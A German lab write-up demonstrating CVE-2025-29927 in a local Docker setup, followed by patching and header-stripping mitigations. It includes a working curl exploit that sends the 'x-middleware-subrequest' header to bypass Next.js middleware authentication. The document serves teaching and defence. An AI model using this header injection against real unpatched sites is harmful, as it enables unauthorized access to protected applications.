
Ein Proof-of-Concept für CVE-2025-29927, der einen Middleware-Bypass in Next.js-Versionen vor 13.5.9 demonstriert.
CVE-2025-29927 ist eine Middleware-Bypass-Schwachstelle, die in Next.js-Versionen 1.11.4 und vor den Versionen 12.3.5, 13.5.9, 14.2.25 und 15.2.3 gefunden wurde. Sie erlaubt es einem externen Angreifer, Sicherheitslogik – wie Authentifizierung, Bot-Erkennung oder Geolokalisierungsweiterleitungen – zu überspringen, die ein Entwickler in seiner middleware.ts-Datei implementiert hat.
Next.js verwendet interne HTTP-Header, um zwischen seinen verschiedenen Architekturebenen zu kommunizieren. Einer dieser Header ist x-middleware-subrequest.
Die Schwachstelle besteht, weil anfällige Versionen von Next.js diesem Header auch dann vertrauen, wenn er von einem externen Client (wie einem Browser oder curl) gesendet wird. Wenn der Server diesen Header sieht, nimmt er an, dass die Anfrage bereits von der Middleware verarbeitet und "freigegeben" wurde, und überspringt die Ausführung Ihres Sicherheitscodes vollständig.
Das Labor läuft in einem Node:18-alpine-Docker-Container, um eine saubere und reproduzierbare Umgebung zu gewährleisten
Wir starten, indem wir einen benannten Container im Hintergrund hochfahren. Wir verwenden sleep infinity, um den Container während der Konfiguration am Leben zu halten.
Anfangs hatte ich einige Probleme beim Neustarten meines Containers in späteren Phasen, deshalb habe ich mich für sleep infinity entschieden.
docker run -d -p 3000:3000 --name CVE-2025-29927-Lab node:18-alpine sleep infinity
Wir installieren die spezifische anfällige Version von Next.js. Beachten Sie, dass das Framework trotz des Flags --src-dir false ein src-Verzeichnis erstellt, in dem wir unsere Middleware platzieren müssen, damit sie aktiv wird.
docker exec -it CVE-2025-29927-Lab npx --yes [email protected] lab --typescript --tailwind --eslint --app false --src-dir false --use-npm
Um eine Sicherheitsbarriere zu simulieren, erstellen wir eine middleware.ts-Datei. Diese Middleware ist so konfiguriert, dass sie alle eingehenden Anfragen mit einem 401 Unauthorized-Status blockiert.
# Enter the container shell
docker exec -it CVE-2025-29927-Lab sh
# Create the middleware file inside the src directory (One long command)
echo "import { NextResponse } from 'next/server'; export function middleware() { return new NextResponse('Blocked', { status: 401 }); } export const config = { matcher: '/:path*' };" > lab/src/middleware.ts
Starten Sie den Entwicklungsserver und warten Sie auf das ✓ Bereit-Signal in der Konsole.
# While still in the container shell from Step 3 - run below command.
cd lab && npm run dev
Öffnen Sie ein neues Terminalfenster (schließen Sie das vorherige Terminal nicht) auf Ihrem Host-Rechner, um die Umgebung mit curl zu testen.
Eine Standardanfrage ohne modifizierte Header wird korrekt von unserer Middleware erfasst und blockiert.
curl.exe -I http://localhost:3000/
# Expected Response: HTTP/1.1 401 Unauthorized
Durch Injizieren des internen Headers x-middleware-subrequest: src/middleware täuschen wir Next.js vor, dass die Anfrage bereits von einem internen Prozess verifiziert wurde. Der Server überspringt die Middleware-Ausführung und gewährt vollen Zugriff.
curl.exe -I -H "x-middleware-subrequest: src/middleware" http://localhost:3000/
# Expected Response: HTTP/1.1 200 OK
Um Ihre Anwendung gegen CVE-2025-29927 zu schützen, sollten Sie Next.js auf die gepatchte Version aktualisieren, die Ihrer aktuellen Hauptversion entspricht:
Die Schwachstelle ist in den folgenden Versionen behoben. Stellen Sie sicher, dass Ihre package.json mindestens diese Versionen enthält:
# Example for updating to the latest patched version
npm install next@latest
Wenn eine sofortige Aktualisierung nicht möglich ist, sollten Sie Ihre Web Application Firewall (WAF) oder Ihren Reverse Proxy (z. B. Nginx, Cloudflare oder Varnish) so konfigurieren, dass der Header x-middleware-subrequest von allen eingehenden externen Anfragen entfernt oder verworfen wird, bevor sie den Next.js-Anwendungsserver erreichen.
Nach der Aktualisierung können Sie den Fix überprüfen, indem Sie den Exploit-Befehl aus Schritt 5 erneut ausführen. Ein gepatchter Server wird bei Vorhandensein des gefälschten Headers keinen 200 OK mehr gewähren.
Diese Schwachstelle besteht, weil Next.js clientseitigen Headern vertraut, um interne Unteranfragen zu identifizieren. Um dies zu beheben, sollte Next.js auf eine Version aktualisiert werden, die diese internen Header aus externem eingehenden Traffic ordnungsgemäß validiert oder entfernt.